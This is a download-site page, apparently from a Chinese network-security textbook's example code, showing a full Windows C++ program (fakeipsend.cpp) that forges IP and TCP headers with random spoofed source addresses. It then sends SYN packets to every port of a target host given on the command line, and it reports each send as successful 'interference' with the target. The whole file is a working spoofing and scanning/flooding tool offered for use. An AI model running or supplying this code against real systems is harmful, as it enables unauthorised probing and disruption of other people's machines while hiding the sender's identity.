⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fakeipsend.cpp

📁 “网络安全技术实践与代码详解”实例代码
💻 CPP
字号:
#include <stdio.h> 
#include <winsock2.h> 
#include <ws2tcpip.h> 
#include <time.h>
#pragma comment(lib,"ws2_32.lib")
char TargetIP[20]; // 目标机IP地址
char FakeIP[20]; // 伪IP地址
//定义IP首部格式
typedef struct ip_hdr
{ 
	unsigned char h_verlen;        //4位首部长度,4位IP版本号 
	unsigned char tos;             //8位服务类型TOS 
	unsigned short total_len;      //16位总长度(字节) 
	unsigned short ident;          //16位标识 
	unsigned short frag_and_flags; //3位标志位 
	unsigned char ttl;             //8位生存时间 TTL 
	unsigned char proto;           //8位协议 (TCP, UDP 或其他) 
	unsigned short checksum;       //16位IP首部校验和 
	unsigned int sourceIP;         //32位源IP地址 
	unsigned int destIP;           //32位目的IP地址 
}IPHEADER; 

//定义TCP首部格式
typedef struct tcp_hdr 
{ 
	USHORT th_sport;         //16位源端口 
	USHORT th_dport;         //16位目的端口 
	unsigned int th_seq;     //32位序列号 
	unsigned int th_ack;     //32位确认号 
	unsigned char th_lenres; //4位首部长度/6位保留字 
	unsigned char th_flag;   //6位标志位 
	USHORT th_win;           //16位窗口大小 
	USHORT th_sum;           //16位校验和 
	USHORT th_urp;           //16位紧急数据偏移量 
}TCPHEADER; 

//定义TCP伪首部格式
typedef struct tsd_hdr  
{ 
	unsigned long saddr; //源地址 
	unsigned long daddr; //目的地址 
	char mbz; 
	char ptcl;           //协议类型 
	unsigned short tcpl; //TCP长度 
}PSDHEADER; 

//CheckSum:计算校验和的子函数 
USHORT checksum(USHORT *buffer, int size) 
{ 
	unsigned long cksum=0; 
	while(size >1) 
	{ 
		cksum+=*buffer++; 
		size -=sizeof(USHORT); 
	} 
	if(size ) 
	{ 
		cksum += *(UCHAR*)buffer; 
	} 
	
	cksum = (cksum >> 16) + (cksum & 0xffff); 
	cksum += (cksum >>16); 
	return (USHORT)(~cksum); 
} 

// 产生随机IP地址,用于填充伪源IP
void GenerateRandIP(char *ip)
{

    int ips[4]={0}; // IP地址四个字段
	srand( (unsigned)time(NULL)); // 设置随机种子
	// 产生随机数
	for(int i=0; i<4; i++)
	{
		ips[i]=1 + rand() % (255-1+1);
	}
	// 设置随机IP地址
	sprintf(ip,"%d.%d.%d.%d",ips[0],ips[1],ips[2],ips[3]);
}

// 产生随机源端口
int GenerateRandSrcPort()
{
	srand( (unsigned)time(NULL)); // 设置随机种子
	return 1 + rand() % (65535-1+1);

}
// 封装伪源IP数据包
void PackFakeIP(char *szSendBuf, int dport)
{
	char srcip[20];
    GenerateRandIP(srcip); // 生成随机IP地址
	strcpy(FakeIP,srcip);
	IPHEADER ipHeader; // IP首部
	TCPHEADER tcpHeader; // TCP首部 
	PSDHEADER psdHeader; // TCP伪首部
	//填充IP首部 
	ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 
	// ipHeader.tos=0; 
	ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
	ipHeader.ident=1; 
	ipHeader.frag_and_flags=0; 
	ipHeader.ttl=128; 
	ipHeader.proto=IPPROTO_TCP; 
	ipHeader.checksum=0; 
	ipHeader.sourceIP=inet_addr(srcip); 
	ipHeader.destIP=inet_addr(TargetIP); 
	
	//填充TCP首部 
	tcpHeader.th_dport=htons(dport); 
	tcpHeader.th_sport=htons(GenerateRandSrcPort()); //源端口号 
	tcpHeader.th_seq=htonl(0x12345678); 
	tcpHeader.th_ack=0; 
	tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
	tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等 
	tcpHeader.th_win=htons(512); 
	tcpHeader.th_urp=0; 
	tcpHeader.th_sum=0; 
	// 填充TCP伪首部
	psdHeader.saddr=ipHeader.sourceIP; 
	psdHeader.daddr=ipHeader.destIP; 
	psdHeader.mbz=0; 
	psdHeader.ptcl=IPPROTO_TCP; 
	psdHeader.tcpl=htons(sizeof(tcpHeader)); 
	
	//计算校验和 
	memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
	memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
	tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); 
	
	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 
	memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
	memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); 
	ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 
	
	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

}

// 主函数
int main(int argc, char* argv[]) 
{ 

	WSADATA WSAData; 
	SOCKET sock; 
	SOCKADDR_IN addr_in; // 目标机地址
	
	char szSendBuf[60]={0}; // 发送数据缓存区
	BOOL flag; 
	int rect,nTimeOver; 
	
	// 校验输入命令个数
	if (argc != 2)
	{
		printf("usage : FakeIPSend.exe [TargetIP]\n");
		exit(0);
	}
	strcpy(TargetIP,argv[1]); // 设置目标机IP地址
	
	// 初始化Winsock库
	if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) 
	{ 
		printf("WSAStartup Error!\n"); 
		return false; 
	} 
	
	// 创建原始套接字
	if ((sock=WSASocket(AF_INET,
		SOCK_RAW,
		IPPROTO_RAW,
		NULL,0,
		WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
	{ 
		printf("Socket Setup Error!\n"); 
		return false; 
	} 
	flag=true; 
	// 设置原始套接字参数
	if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) 
	{ 
		printf("setsockopt IP_HDRINCL error!\n"); 
		return false; 
	} 
	
	nTimeOver=1000; // 超时时间
	// 设置原始套接字发送超时时间
	if (setsockopt(sock, 
		SOL_SOCKET, 
		SO_SNDTIMEO, 
		(char*)&nTimeOver, 
		sizeof(nTimeOver))==SOCKET_ERROR) 
	{ 
		printf("setsockopt SO_SNDTIMEO error!\n"); 
		return false; 
	} 
	// 设置目标机地址结构
	addr_in.sin_family=AF_INET; 
	addr_in.sin_addr.S_un.S_addr=inet_addr(TargetIP); 
	for(int i=1;i<65535;i++)
	{
		
		addr_in.sin_port=htons(i); // 设置目标端口
		PackFakeIP(szSendBuf,i); // 封装发送数据包
		// 发送伪IP数据包
		rect=sendto(sock, szSendBuf, sizeof(IPHEADER)+sizeof(TCPHEADER), 
			0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
		if (rect==SOCKET_ERROR) 
		{ 
			printf("Send error!:%d\n",WSAGetLastError()); 
			return false; 
		} 
		else 
			printf("干扰目标机 %s 成功!伪IP :%s \n",TargetIP,FakeIP);
		Sleep(500);
	}
	// 释放套接字及内存资源
	closesocket(sock); 
	WSACleanup(); 
	
	return 0; 
} 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -